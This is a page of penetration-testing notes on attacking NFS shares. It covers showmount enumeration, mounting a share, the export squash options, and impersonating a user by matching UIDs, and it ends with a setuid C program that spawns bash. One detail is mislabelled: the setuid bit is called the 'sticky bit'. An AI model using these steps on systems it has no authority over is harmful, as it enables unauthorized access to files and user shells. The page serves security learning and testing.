Hacking Notes
  • What is this?
  • Reconnaissance 🗣
    • Information Gathering 🗣
  • Enumeration 🎯
    • Host Discovery 🛎
    • DNS Enumeration
    • OS Discovery 🖥
    • Port Scanning 📟
    • WAF Evasion
  • Web 📱
    • Unrestricted File Upload
    • Templates Injections ✖️
    • File Inclusion
    • Login Panes
    • SQL Injection
    • NoSQL Injection
    • OAuth 2.0 Bypass
  • Privilege Escalation
    • Linux Privesc
    • Windows Privesc
    • Run Commands AS
  • Post Explotation 💀
    • Port Forwarding and Tunneling
    • Transfering Files 📤
    • Reverse Shell 🔙
    • Crypto 101 👁
    • AV Evasion
    • Bypass UAC
    • Get Credentials
  • Services
    • PORT 21/tcp - FTP
    • PORT 25/tcp - SMTP
    • PORT 53/tcp/udp - DNS
    • Port 80,443/tcp - HTTP
    • Port 111/tcp - RPCBind
    • PORT 143,993/tcp - IMAP
    • PORT 139,445/tcp - SMB
    • PORT 161/udp - SNMP
    • PORT 1100/tcp - Java RMI
    • PORT 1433/tcp - Microsoft SQL Server
    • PORT 2049/tcp - NFS
    • PORT 3306/tcp MySQL
    • PORT 3389/tcp RDP
    • PyPI Server
  • Software
    • Tomcat
    • Jenkins
    • Drupal
    • Wordpress
  • Client-Side Attacks
    • Evil PDF
    • Microsoft Office Macros
  • Other
    • Hacking WiFI
      • WPA/WPA2 PSK
      • WPA/WPA2 PEAP (Enterprise)
      • WEP
    • Hacking with Powershell
    • Hacking AWS
  • Exploiting
    • Buffer Overflow
  • Active Directory
    • 🖥️AD Attacks
Powered by GitBook
On this page
  • Enumeration
  • Mounting the folder
  • Configuration
  • Impersonate a User (No Root)
  • References

Was this helpful?

  1. Services

PORT 2049/tcp - NFS

Network File System is a distributed file system protocol originally developed by Sun Microsystems in 1984, allowing a user on a client computer to access files over a computer network much like local storage is accessed.

Enumeration

showmount gives us the opportunity to know which folder are available for us.

showmount -e <IP>

Mounting the folder

We can mount the folder with mount command.

mount -t nfs [-o vers=2] <IP>:<NFS_FOLDER> <LOCAL_FOLDER> -o nolock

Configuration

The file /etc/exports show the NFS configuration applied on the server.

$ cat /etc/exports
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash
  • rw: Means that we can read and write any file on the share.

  • root_squash (default): Maps all the requests from UID/GID 0 to the anonymous UID/GID.

  • no_root_squash: All requests from UID/GID 0 are not mapped to the anonymous UID/GID.

  • no_all_squash (default): Not map all the requests from other UID/GID to the anonymous UID/GID .

Note: If we have access to the server and a NFS share has this configuration, we can impersonate any user on the attack machine except for the root user.

Impersonate a User (No Root)

So what we’ll do is add the user frank (user to impersonate) on our kali machine and change his id to 1000 (Assigned on the target).

❯ useradd frank
❯ cat /etc/passwd | grep frank
frank:x:1000:1000::/home/frank:/bin/sh

Note: You can change any ID by modifying the /etc/passwd file.

Next step is create a setuid.c file:

#include <unistd.h>
int main()
{
    setreuid(1000,1000);
    execl("/bin/bash", "bash", (char *)NULL);
    return 0;
}

Then compile it:

gcc setuid.c -o setuid

Set the sticky bit on the file:

chmod u+s setuid

And execute it on the target machine.

References

PreviousPORT 1433/tcp - Microsoft SQL ServerNextPORT 3306/tcp MySQL

Last updated 3 years ago

Was this helpful?

https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
https://ethicalhackingguru.com/how-to-enumerate-and-exploit-nfs-shares/